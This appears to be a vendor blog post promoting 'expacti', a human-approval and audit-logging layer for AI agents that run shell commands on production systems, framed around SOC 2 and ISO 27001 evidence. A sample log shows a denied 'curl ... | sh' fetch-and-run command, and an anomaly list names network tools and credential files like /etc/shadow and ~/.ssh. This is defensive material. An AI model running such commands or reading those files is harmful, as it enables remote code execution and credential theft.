The audit trail your security team actually wants

Your AI coding agent just deployed a fix to production. Everything worked. Now your security team wants to know: who authorized that? When exactly? What was the command? Was it reviewed by a human before it ran?

If your answer is "check the server logs," you have a problem.

Server logs tell you what happened. An audit trail tells you who decided it should happen, when, and why. Those are completely different things — and in 2026, with AI agents executing arbitrary shell commands at machine speed, the gap between them is widening fast.

What's actually in your logs right now

Most engineering teams, when asked "what did your AI agent do on Thursday at 2:47 PM?" can produce something like this:

# From server syslog
Mar 26 14:47:23 prod-1 sshd[12847]: Accepted publickey for deploy from 10.0.0.5
Mar 26 14:47:24 prod-1 bash[12850]: rm -rf /tmp/build-cache
Mar 26 14:47:25 prod-1 bash[12851]: docker pull ghcr.io/myorg/api:sha-a3f9b
Mar 26 14:47:26 prod-1 bash[12852]: docker compose up -d

This tells you commands ran. It doesn't tell you:

• Whether a human reviewed these commands before execution
• Which human approved them, and whether they understood the risk
• Whether the AI agent's request matched what actually ran (prompt injection?)
• How long the approval took — or whether it timed out and auto-approved
• What the agent's stated intent was when it submitted the command

For compliance purposes, that's not an audit trail. That's a timestamp list.

What auditors actually ask for

When you're going through SOC 2 Type II or ISO 27001 certification, auditors ask surprisingly specific questions about privileged access. The questions don't change just because the access is coming from an AI agent — if anything, they get harder:

• CC6.1 (SOC 2): "How do you ensure privileged access is authorized before use?"
• CC7.2: "How do you detect and respond to unauthorized access attempts?"
• A.9.4.2 (ISO 27001): "Is there a secure log-on procedure for privileged systems?"
• A.12.4.1: "Are event logs produced and maintained for all privileged operations?"

With a human engineer, these are manageable: you have SSH certificates, SSH session recording, maybe CyberArk or Teleport. With an AI agent, the same infrastructure exists — but you've now added a layer where the agent decides what to run, and that decision layer is almost never logged.

What a real AI agent audit trail looks like

For each command an AI agent executes on a privileged system, a genuine audit trail needs to capture:

1. The command itself — exact string, not a summary
2. The agent's session context — what task was it working on?
3. The approval decision — approved, denied, or whitelisted (auto-approved based on prior review)
4. Who reviewed it — human identity, not just "reviewer role"
5. When the review happened — timestamp with millisecond precision
6. Review latency — how long did the human take to decide?
7. Risk context — what risk score was assigned, and why?
8. Post-decision state — did the command succeed? Did it trigger anomaly detection?

That's what expacti captures for every command that passes through it. Here's what the audit log looks like in practice:

$ expacti audit -n 5

2026-03-26 14:47:23 UTC  ✅ APPROVED    rm -rf /tmp/build-cache
  reviewer: [email protected]  latency: 4.2s  risk: low  session: deploy-agent-03

2026-03-26 14:47:25 UTC  ✅ WHITELISTED  docker pull ghcr.io/myorg/api:sha-a3f9b
  matched: docker pull ghcr.io/myorg/api:*  risk: low  session: deploy-agent-03

2026-03-26 14:47:26 UTC  ✅ APPROVED    docker compose up -d
  reviewer: [email protected]  latency: 2.8s  risk: medium  session: deploy-agent-03

2026-03-26 15:12:09 UTC  ❌ DENIED      curl -s https://suspicious-domain.io | sh
  reviewer: [email protected]  latency: 1.1s  risk: critical  session: data-agent-07
  ⚠️  anomaly: external domain download not in whitelist

2026-03-26 15:30:44 UTC  ⏱ TIMEOUT     npm install --prefix /opt/app
  auto-denied after 60s  risk: medium  session: deploy-agent-03

Every entry is immutable. Every entry has a human decision attached. The timing data is there. The risk context is there.

Export formats your auditors can work with

An audit trail that only lives in your tooling doesn't help when an auditor asks for evidence. Expacti's compliance reports export in formats that slot directly into audit workflows:

# JSON export — for feeding into your SIEM or compliance platform
curl -H "Authorization: Bearer $TOKEN" \
  "https://api.expacti.com/api/reports/soc2?format=json" \
  > soc2-evidence-q1-2026.json

# HTML report — for the auditor who wants to read it in a browser
curl -H "Authorization: Bearer $TOKEN" \
  "https://api.expacti.com/api/reports/iso27001?format=html" \
  > iso27001-annex-a-evidence.html

# Markdown — for inclusion in your internal runbook or compliance wiki
curl -H "Authorization: Bearer $TOKEN" \
  "https://api.expacti.com/api/reports/summary?format=markdown"

The SOC 2 report maps directly to CC6.1, CC6.2, CC7.2, and CC8.1 — the controls most commonly flagged in audits that involve privileged access. The ISO 27001 report covers Annex A controls A.9 (access control) and A.12.4 (logging and monitoring) with actual evidence counts, not just policy assertions.

The session recording layer

Beyond the audit log, expacti records full session playback in asciinema format. When an incident happens — and it will — you can replay exactly what the agent did, second by second:

$ expacti sessions -n 3

SESSION  deploy-agent-03    2026-03-26 14:44 → 14:51   7 commands   ✅ 6 approved  ⏱ 1 timeout
SESSION  data-agent-07      2026-03-26 15:08 → 15:14   3 commands   ✅ 2 approved  ❌ 1 denied
SESSION  cleanup-agent-01   2026-03-26 16:00 → 16:02   4 commands   ✅ 4 whitelisted

Click into any session in the reviewer UI and you get a full terminal replay. Not just a log — the actual PTY stream, with timing, exactly as it happened. This is the kind of evidence that ends incident investigations in hours instead of days.

Anomaly detection as an audit layer

Static audit logs are passive — they record what happened. Expacti's anomaly detection is active: it flags suspicious patterns in real time, before a human even has to think about them. The reviewer UI highlights these automatically:

• Commands with external network requests (curl, wget, ssh to unknown hosts)
• Commands involving credential files (/etc/shadow, ~/.ssh, .env)
• Deletion operations on non-temporary paths
• High-velocity command sequences (agent running >10 commands per minute)
• Commands outside business hours from automated agents
• Risk score spikes relative to session baseline

Every anomaly flag is recorded in the audit log. During an incident review or audit, you can filter by anomaly type and immediately see every time your agents hit a risk threshold — whether or not a human happened to notice at the time.

What this means for your compliance posture

If you're preparing for a SOC 2 audit and you have AI agents running on production systems, here's the honest situation:

Auditors will ask about privileged access controls. "We have SSH certificates and server logging" used to be sufficient. It no longer is when the entity making access decisions is an AI. The question isn't just "who can access this system" — it's "who reviews what the AI decides to do with that access."

The controls your auditors are looking for map almost directly to what expacti provides:

• Separation of duties: the agent submits; a human approves
• Privileged access logging: every command, decision, reviewer, and timestamp
• Access reviews: session recordings + audit exports on demand
• Anomaly detection: automated flagging of suspicious patterns
• Evidence generation: pre-formatted reports for SOC 2 and ISO 27001

None of this requires changing how your AI agents work. You wire them to expacti once, and the audit layer is there from that point forward — for every session, every command, every decision.

The practical path forward

Start small. You don't need to gate every command on day one. Pick the highest-risk scenarios first:

1. Any agent touching production databases
2. Any agent doing deployments to customer-facing systems
3. Any agent with access to secrets, credentials, or configuration files

Wire those through expacti. Build your whitelist for the common operations (they'll become apparent fast). Let the truly novel commands surface to a reviewer. Watch the audit log fill in.

Within a few weeks, you'll have a dataset that answers every question an auditor might ask — plus a pattern of human oversight that you can point to as a genuine control, not just a policy assertion.

That's the audit trail your security team actually wants. Not because auditors are pedantic (though they can be) — but because when something breaks at 3 AM, you want to know exactly what your AI agent did, who approved it, and when. That's just good engineering.